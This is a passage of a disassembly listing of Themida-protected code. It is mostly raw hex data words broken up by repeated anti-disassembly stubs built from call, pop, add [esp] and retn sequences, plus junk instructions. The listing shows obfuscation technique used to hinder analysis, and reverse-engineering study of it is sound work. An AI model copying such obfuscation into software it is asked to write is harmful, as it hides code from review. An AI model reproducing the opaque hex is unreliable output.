6AE1FFh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 0AC495EC3h, 577828DFh, 800F56h, 5E000000h, 0B98D8D5Eh dd 6A062834h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1C042444h, 41000000h, 0BADFC351h, 0A8D9CA2Fh, 0E93980F4h dd 0Bh, 4B0CB38Fh, 0EA454E13h, 0C7EA742Bh, 0CA95A501h dd 56006A54h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h dd 0C3564600h, 90901FEAh, 3BB04BFBh, 0B58B7F5Dh, 6281EA9h dd 0CFCB0181h, 6A1499h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 99EDC4C3h, 0F5B589B0h, 0F062814h dd 28Eh, 0C7F38B00h, 59690441h, 6ACE5Fh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 998E26C3h dd 5C92AA93h, 14E9E199h, 0A5000000h, 7213CF07h, 0FD9647F7h dd 0A6190D2Ah, 0AF1F4FE1h, 89E60716h, 28333985h, 4418106h dd 31D6D710h, 6AF88B66h, 95B52B00h, 8D062816h, 2834B985h dd 0C7816606h, 6650D0E6h, 894C65BEh, 6A2404h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 148C04C3h dd 949A277Fh, 5FC681EFh, 0FF277889h, 28115D95h, 0DDBD8B06h dd 8D06281Fh, 2834B98Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 0BD8B389Eh, 62820C9h dd 1C7h, 0BD890000h, 6282F91h, 18F5DE81h, 41C77A63h, 4 dd 0FC00B00h, 6284h, 6810F00h, 29000000h, 281909BDh, 6E8D8D06h dd 8B06284Fh, 281145B5h, 5B806h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0ABFBB0C3h dd 0BF562DD5h, 46C4745Eh, 6AE1FFh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 3CAAFC3h, 0F104E9CAh dd 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 0E99CD3C3h, 0Dh, 9151A88Ch, 9BB0EB81h, 0C411CCF6h dd 0BE849h, 73E80000h, 4C62301Eh, 871A7913h, 558D89A8h dd 81062816h, 0A68F84CEh, 0C18B5E30h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ch, 20C35242h, 0CC2D5BA4h, 5F86976h dd 5E9BD8Bh, 4EB0628h, 0 ; --------------------------------------------------------------------------- jmp loc_58679C ; --------------------------------------------------------------------------- scasb sbb [ecx+36BAB4A3h], eax loc_58679C: ; CODE XREF: Themida_:00586790j push 0 push edx call sub_5867A7 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5867A7 proc near ; CODE XREF: Themida_:0058679Fp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_5867A7 endp ; --------------------------------------------------------------------------- mov edi, ecx adc ecx, [ebx+281775BDh] push es lea eax, [ebp+6282C05h] push 0 push eax call sub_5867D1 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5867D1 proc near ; CODE XREF: Themida_:005867C9p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 16h inc eax push eax retn sub_5867D1 endp ; --------------------------------------------------------------------------- db 0F0h, 0A5h, 32h ; --------------------------------------------------------------------------- stc push eax jg loc_5867F8 jmp loc_5867F8 ; --------------------------------------------------------------------------- align 2 dw 0B44Dh dd 3DF3C73Ch ; --------------------------------------------------------------------------- loc_5867F8: ; CODE XREF: Themida_:005867E6j ; Themida_:005867ECj mov [esp], eax mov [ebp+62834B5h], ebx mov [ebp+6281E0Dh], eax push 0 push 0 push eax call sub_586814 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_586814 proc near ; CODE XREF: Themida_:0058680Cp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_586814 endp ; --------------------------------------------------------------------------- dd 2F8B40E7h, 30071095h, 0DE1BD89h, 6A0628h, 10E9h, 0C7EF6700h dd 0EE70E98Ch, 5FD8F8A6h, 0EA9A0596h, 3B858D8Ah, 6A062BD6h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 0D5B8C356h, 60EB0D9Ch, 2F99B58Bh, 83610628h dd 6A05C0h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 47DA9BC3h, 21BA5183h, 0B58BB060h, 62820A9h dd 50525050h, 0F616052h, 6E831h, 0AED80000h, 46D819E7h dd 0F585A5Fh, 89585A31h, 6A2404h, 26DBD89h, 6A0628h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 4AC35040h, 0F70FD15Ch dd 95FF97BAh, 6282431h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 19h, 1DC35242h, 0AEA3B3D4h, 3DB52338h, 8D06280Fh dd 2B94F39Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1D04h, 0C3504000h, 70D8532Eh, 6E81CA67h, 0B58B1D37h dd 62814EDh, 85FFD3FFh, 6281659h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 30C35040h, 0DDB38E20h, 2D618589h dd 0B58B0628h, 62805CDh, 81AE9h, 0E800h, 815D0000h, 2BD645EDh dd 815E5006h, 280DC1BDh, 7D006h, 0E9860F00h, 89000000h dd 281655B5h, 0B59D8B06h, 6A062825h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 3607C357h dd 0E97CE55Ah, 0F88B9500h, 100E381h, 0BD310000h, 6280FF9h dd 850FDB0Bh, 5Fh, 0EB99589h, 0BD830628h, 62BD447h, 10840F00h dd 60000000h, 61C38B66h, 72E9h, 0A9B58B00h, 0C7062811h dd 2BD44785h, 106h, 0F7816600h, 58E9FF01h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 8F80C355h, 0FABE6B5Dh, 29BD0910h, 0C706280Ch, 2BD44785h dd 6, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1804h, 0C3524200h, 4661C18Fh, 81B58906h, 8D062825h dd 2825B59Dh, 0FAB70F06h, 0FEFF2381h, 0BD8BFFFFh, 6280629h dd 6ADB8C66h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 0BD7CC351h, 0BD899DEFh, 6282401h dd 0F04C3F6h, 9784h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1B04h, 0C3554500h, 0C1849AF7h, 4DBC8188h dd 0EE9h, 0DDBE8400h, 0A3C5EFD5h, 0A36620D8h, 0FF8AEB73h dd 2803FD95h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1C04h, 0C3514100h, 0C2910005h, 9A6AF3BEh, 0E85090F9h dd 8, 837B66E8h, 909B1A65h, 6A905Fh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h, 0BF6617C3h dd 0BD8B666Eh, 6280CDDh, 41DE9h, 6A00B000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 3F04C357h dd 9FBE66BEh, 6A70E6C2h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 9A14C351h, 60347A83h dd 0DE971E4h, 0D0000000h, 5A4F764Ah, 25925D14h, 2FBD3C6Ah dd 6AD8B60Fh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 9084C352h, 65EB544Fh, 0C079C972h dd 6BAh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 0E04732Eh, 0E799BA59h, 0C38B251Ah dd 3C07BE66h, 0E904E8C1h, 0Ch, 0E498FF48h, 0A77F94EAh dd 4B61AC4Bh, 6AE2F766h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 0E6E7C357h, 355A26FEh dd 9E9h, 0A014FF00h, 0EC19A314h, 0D82B1FF6h, 93F3B70Fh dd 4850F60h, 66000000h, 0E98F4CB9h, 7, 0DE8DF63Ah, 614A8FD7h dd 93FB8B50h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 94C35242h, 1ED90862h, 0FF4D751Eh, 280DC1B5h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 0C53FB1DBh, 9CE7BBF3h, 95FF3667h, 6280465h, 34E5BD8Bh dd 0B00628h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 14h, 0E5C35343h, 26B1BD8Bh, 0BD8B0628h, 628043Dh, 96BF70E6h dd 0E40D62B8h, 51006A71h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 9B0A272Fh, 39D93DE0h dd 0EE8h, 4D118700h, 430729A7h, 0AAA102B9h, 0FE81108h dd 3C5FFFB7h, 33830F61h, 6A000002h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 0CE67C350h dd 60BA6760h, 2B1BD8Bh, 0B5890628h, 6282149h, 0D8B60F61h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 35C35545h dd 0BF0F8B1Ah, 8D9509F3h, 0BA062816h, 6, 4175DF81h, 0C38B39A0h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 89C35242h dd 0B70F6080h, 68E0FFEh, 8B000000h, 281FA585h, 0E8C16106h dd 50006A04h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 66D9A98Eh, 0B58BE2F7h, 62819D5h, 6AD82Bh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 0FE9D60C3h, 0BD8BB313h, 6282539h, 0F0BE6658h, 0FD82B4Dh dd 14188h, 830F6000h, 6, 26319589h, 81570628h, 0D78B2DAh dd 0B9615E5Fh, 7, 6600C183h, 0D93BF38Bh, 118860Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 0FD8CFBC3h, 918B5298h, 0A8BE66BBh, 0F08B661Bh, 6AD98C66h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 9B3EC357h, 0C189B2B4h, 0D93419DBh, 0F04C1F6h dd 7A84h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 0B8270D20h, 0FFF98B66h, 2803FD95h dd 5BFE8B06h, 68B0Fh, 8D890000h, 6280C41h, 6AC32Bh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 0E800E6C3h, 0BA725CFDh, 0F2BF0FC4h, 8343Dh, 10860F00h dd 2B000000h, 2834C1BDh, 48E906h, 0C1BF0000h, 8B3D493Dh dd 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 4DF05C5Bh, 55C02F10h, 0B58B7A23h, 6280795h dd 11E9h, 5B949600h, 400F64BDh, 43EEF723h, 67828196h, 0C38B7F0Ch dd 6AD88Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 0F9A6E1C3h, 0CE960h, 2FA50000h, 0DB69ABCFh dd 9CD06AE1h, 85C71CFEh, 6282BB5h, 528A01B7h, 2DED8589h dd 0C08B0628h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 73C35141h, 7783EDB6h, 0BD814701h, 6280DC1h, 7D0h dd 35850Fh, 8E90000h, 0B5000000h, 59FF0FE9h, 315D0A19h dd 280385B5h, 0C185FF06h, 6A06280Dh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0FFC0C357h dd 280DC1B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 3AE10BB9h, 363EFCE3h, 15B58BB3h dd 0FF062813h, 28046595h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 0D487162Fh dd 0FBCB253Dh, 0E1BD8B64h, 90062804h, 7860Fh, 0BF0F0000h dd 616051F8h, 0B58B525Fh, 628246Dh, 0FE95Eh, 0BCCF0000h dd 638B3483h, 552FCB29h, 32BAF8E8h, 0FE8B6611h, 0CD958960h dd 61062816h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Bh, 89C35545h, 0E28E2120h, 893D3F99h, 2804259Dh, 0FDB50906h dd 66062805h, 0C645EF81h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 0BFC35040h, 1420F6D7h, 0E9D46B23h, 6 dd 0DF514EC7h, 0FE870E7h, 1D000000h, 3C70C6Fh, 5094D5E0h dd 0B4FC61D7h, 8D317F2Dh, 62826B9h, 5EF2BF0Fh, 8331BF66h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 62C35747h dd 0F25E4C3Fh, 0B72F9D03h, 37BE66F5h, 81BD8BE8h, 8906282Dh dd 28054D95h, 11E906h, 0AE290000h, 496487E6h, 380C927Ah dd 3FCECC05h, 660DF218h, 0BE66F08Bh, 0F2E99D82h, 33FFFFF7h dd 282141B5h, 199D8906h, 8B062809h, 4EBF9C1h, 0 ; --------------------------------------------------------------------------- push 0 push ebx call sub_5871B3 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5871B3 proc near ; CODE XREF: Themida_:005871ABp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_5871B3 endp ; --------------------------------------------------------------------------- adc dword ptr [esi+5Ah], 0FFFFFF85h xchg ebx, ebp movsb push 0 push edx call sub_5871D5 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5871D5 proc near ; CODE XREF: Themida_:005871CDp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_5871D5 endp ; --------------------------------------------------------------------------- fadd dword ptr [edi] or ah, al setalc mov ah, 0Fh adc cl, dh lea eax, [ebp+6282C05h] push 0 push ebp call sub_5871FF and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5871FF proc near ; CODE XREF: Themida_:005871F7p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Bh inc ebp push ebp retn sub_5871FF endp ; --------------------------------------------------------------------------- db 89h dd 0E812A730h, 89F734DFh, 28256195h, 0BE669006h, 50504148h dd 66310F52h, 5ADF89BFh, 0B70F9058h, 6A006AFEh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 0FA8DC355h, 65CAB3CDh, 0C6F6813Bh, 6A66FB42h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 0A33BEE3Fh, 8D698E36h, 2BE0AE85h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 0DB57E85Ah dd 6142A8C7h, 6810Fh, 0BD090000h, 6282C1Dh, 0A598EE81h dd 895075D6h, 2834CD8Dh, 0C0835F06h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 1756D606h dd 6870FE1h, 81000000h, 897B55EFh, 0E1B58B6Dh, 90062819h dd 870F5250h, 3, 0FFA8B66h, 51BE6631h, 50585A7Ah, 830Fh dd 66900000h, 0FA62DE81h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 4A3F70C3h, 0BEE8F3Bh dd 2E3DBD23h, 0BD010628h, 628093Dh, 6A006Ah, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 95FFAEC3h dd 6282431h, 2929A3BFh, 0F39D8D2Ch, 6A062B94h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 0DC85C357h, 92CF424h, 0BE6618B9h, 895267BCh, 28215D8Dh dd 0D3FF5F06h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 15h, 0D3C35545h, 0FFF98B58h, 28165985h, 53006A06h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 0CCF348DBh, 0FDBD89FCh, 0E9062831h, 83Eh, 0E8h, 0ED815D00h dd 62BE0B8h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 1CC35242h, 0BD81DEA7h, 6280DC1h, 7D0h, 171860Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 9D8BFBC3h, 6282D91h, 535B58Bh, 0E3810628h dd 100h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Bh, 29C35040h, 0E4F96257h, 89735845h, 2806F18Dh, 0FDB0B06h dd 0A985h, 72BF6600h, 5FBD8316h, 62BDEh, 58840Fh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 7A625EC3h, 145F26FDh, 4EE48060h, 28E0Fh, 0F28B0000h dd 91E961h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 0CB8171C3h, 1D8558C7h, 85C79C60h dd 62BDE5Fh, 1, 0F860F78Bh, 59E961h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 6E35C8C3h dd 8509E263h, 6281901h, 1149BD0Bh, 85C70628h, 62BDE5Fh dd 0 ; --------------------------------------------------------------------------- push 0 push ecx call sub_58754F and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58754F proc near ; CODE XREF: Themida_:00587547p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_58754F endp ; --------------------------------------------------------------------------- sbb dword ptr [ebx+10E5B509h], 28h push es lea ebx, [ebp+6282D91h] push 0 push edi call sub_587578 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_587578 proc near ; CODE XREF: Themida_:00587570p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 19h inc edi push edi retn sub_587578 endp ; --------------------------------------------------------------------------- dd 0C3BE1255h, 6E97597h, 7C000000h, 83CCC8D5h, 0FF238184h dd 66FFFFFEh, 661F8CBEh, 6ADB8Ch, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 37D923C3h, 8A4AAC1Eh dd 0BF66AAFFh, 895216FEh, 2825E5BDh, 0C3F65E06h, 83840F04h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 14042444h, 46000000h, 66FEC356h, 0D4FEC681h, 3FD95FFh dd 6A0628h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 9E4910C3h, 0A80EE55Ch, 0C99589D3h, 5006282Ch dd 6E9h, 2776E00h, 899F92FFh, 6A2404h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0F8FC05C3h dd 183AD4DEh, 0E2E9D3E7h, 6A000003h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 5406C356h dd 0F1437F90h, 0B09A7DF8h, 0B5B58900h, 0E6062816h, 0FA8B6670h dd 6A71E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 0B8806DC3h, 1C98C78Bh, 0BD8BC1F7h, 62800C1h dd 89D8B60Fh, 2808F585h, 6BA06h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 150424h, 55450000h, 81DD7CC3h dd 1C71BEF6h, 8595893Bh, 8B06280Bh, 4E8C1C3h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0F1C35141h, 6042210Ch dd 0D9BD8B8Bh, 31062820h, 28295985h, 0E2F76606h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 25C35343h, 3A380BEAh dd 3698501h, 0D82B0628h, 20818D89h, 7E90628h, 90000000h dd 0B65A61CDh, 66930CC6h, 50D17ABEh, 310F5250h, 0F93585Ah dd 688h, 5D858900h, 0FF06280Ch, 280DC1B5h, 57006A06h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 0E5B71FA7h, 95FF4377h, 6280465h, 6A00B0F5h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h dd 31C9C353h, 0E781664Ch, 70E68C1Ah, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 0D5C35747h, 0E79F403Bh, 31F947B0h dd 28049995h, 6A71E406h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 0A81AC350h, 0A00B723Fh dd 0F613C65h, 21C83h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 0E9FDCF11h, 0B60F7187h dd 56006AD8h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 2DBD8B7Fh, 0BA06282Fh, 6, 14CDB589h, 0C38B0628h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0ECC35545h dd 3595896Eh, 0C106280Fh, 666004E8h, 8533F18Bh, 62811B5h dd 0E2F76661h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 0DEC35141h, 9E9h, 2CDE4000h, 9586993Bh, 81606031h dd 3D2266CAh, 0BD895202h, 6282985h, 0D82B615Bh, 5DBD8B56h dd 5F062824h, 2BF78B58h, 46880FD8h, 6A000001h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 0ED70C356h, 5C7F438Dh, 7FD781F4h, 0B90911DFh, 7, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 9EC35141h, 45BD8BB8h dd 83062823h, 0B52900C1h, 62826D9h, 3BF6B70Fh, 0E2860FD9h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 0CBC9C350h, 0A59D290Fh, 0F8062825h dd 0F6D98C66h, 840F04C1h, 84h, 2958589h, 95FF0628h, 62803FDh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 3EC35646h dd 0B6E9EAF3h, 90EEF2CBh, 0B9BD8909h, 5B062818h, 0F60C32Bh dd 385h, 0D1BF0F00h, 61FBBF0Fh, 343D5F52h, 0F000008h, 2F86h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 0D5602C7Dh, 0B0BA8614h, 33E930h, 0BD8B0000h dd 628240Dh, 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 0F774F6C3h, 425E5C89h, 0BD8B5087h dd 6281F51h, 8BC38B5Fh, 0FBB70FD8h, 25B585C7h, 539D0628h dd 0B58B3FBBh, 6281975h, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 4C6FDDC3h, 0D552CAEEh dd 840FB74Eh, 6, 24DD9D29h, 0BD810628h, 6280DC1h, 7D0h dd 2F850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 0FFF5A7C3h, 280DC185h, 21B58B06h dd 81062826h, 0D2117CF6h, 0C1B5FF03h, 2906280Dh, 28076D85h dd 6595FF06h, 89062804h, 28147995h, 81669006h, 1BF20C6h dd 282DA9B5h, 0A3BF6606h, 56006A79h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 0CE9C9h, 46600000h dd 565107D7h, 0A7860BA8h, 0BE66CA18h, 10E8EDBAh, 0D5000000h dd 761FE0EDh, 0FA96CACAh, 0D35825B8h, 31C14493h, 2828ED85h dd 618D2906h, 5F06280Dh, 6698D31h, 0BD8B0628h, 628131Dh dd 6C78166h, 0ACBE6698h, 50006A79h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 3647D786h, 8BF9FD9Ah dd 282719B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1A04h, 0C3574700h, 9482BC40h, 60AB3F17h, 14E9h, 0B7B79100h dd 85A5158Dh, 222462D8h, 33F04211h, 87B378C9h, 31F08B2Bh dd 28028D85h, 85896106h, 6280F99h, 31E58D89h, 0BE90628h dd 0C1000000h, 563C150Ah, 0BE70992Dh, 9D89C611h, 628322Dh dd 0FFF803E9h, 53006AFFh, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1704h, 0C3534300h, 1554E23h, 2EA98589h, 66F80628h dd 666455BEh, 0FE9F18Bh, 49000000h, 0C8D6B0F0h, 7D3814B7h dd 42E0DA5Ah, 0C18B9EE9h, 0FB1B58Bh, 4EB0628h, 0 ; --------------------------------------------------------------------------- mov [ebp+62801EDh], edx push 0 push edi call sub_587C55 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_587C55 proc near ; CODE XREF: Themida_:00587C4Dp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_587C55 endp ; --------------------------------------------------------------------------- db 0DBh, 9Ah, 60h dd 2C05858Dh, 0CBBF0628h, 900E91CBh, 52506053h, 585A310Fh dd 66505F61h, 8190F38Bh, 2A6E8EDFh, 6A006A58h, 0F5B53300h dd 8D062800h, 2BEA6A85h, 8E85306h, 76000000h, 3FAADE96h dd 0FE7BD44h, 81h, 835F5E00h, 6A05C0h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 214C18C3h dd 0C744F902h, 508A748Bh, 0FE9h, 0E0259000h, 0E7971527h dd 0E3315638h, 40E9BCBDh, 89240489h, 282EE5BDh, 0F3BF0F06h dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 1CA8B1C3h, 64ED1127h, 1ECDBD8Bh, 0FE8B0628h dd 890F006Ah, 6, 5399C781h, 95FF0B2Bh, 6282431h, 4830Fh dd 0BE660000h, 6E8DD76h, 94000000h, 0C4CEE3ECh, 5E94Ch dd 83660000h, 5E657526h, 94F39D8Dh, 6A062Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0FF4183C3h dd 52006AD3h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 3E41353Dh, 0FF6DBC21h, 28165985h, 0D68B6006h dd 81E5E081h, 0E9614F98h, 839h, 0E8h, 0ED815D00h, 62BEA74h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 8AC35141h dd 0CCF348DBh, 1471B589h, 0BD810628h, 6280DC1h, 7D0h, 1B4860Fh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h dd 53430000h, 0D32E0DC3h, 43D60DE9h, 0F1F79FEh, 68Dh, 0B9858900h dd 8B062818h, 282B399Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 3A7EF057h, 823E300Ah dd 870F8F0Eh, 0 ; --------------------------------------------------------------------------- and ebx, 100h mov esi, [ebp+6283335h] or ebx, ebx jnz loc_587F36 mov esi, 2990593Ah xor [ebp+6281455h], edi cmp dword ptr [ebp+62BE8FBh], 0 jz loc_587ED9 push 0 push eax call sub_587E8F and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_587E8F proc near ; CODE XREF: Themida_:00587E87p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_587E8F endp ; --------------------------------------------------------------------------- and ecx, [edx] clc jmp loc_587F51 ; --------------------------------------------------------------------------- push 0 push edx call sub_587EB2 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_587EB2 proc near ; CODE XREF: Themida_:00587EAAp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_587EB2 endp ; --------------------------------------------------------------------------- dw 0CBB1h dd 915D4D97h, 4C3F6295h, 8E9h, 3D80D800h, 5DA2FB39h db 0C0h ; --------------------------------------------------------------------------- loc_587ED9: ; CODE XREF: Themida_:00587E7Ej mov dword ptr [ebp+62BE8FBh], 1 push 0 push ecx call sub_587EEE and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_587EEE proc near ; CODE XREF: Themida_:00587EE6p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_587EEE endp ; --------------------------------------------------------------------------- sbb ebx, [ebx+2Ah] mov ebx, 0E37482DCh setalc dec ecx jmp loc_587F51 ; --------------------------------------------------------------------------- push 0 push edx call sub_587F18 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_587F18 proc near ; CODE XREF: Themida_:00587F10p arg_4 = dword ptr 8 pop 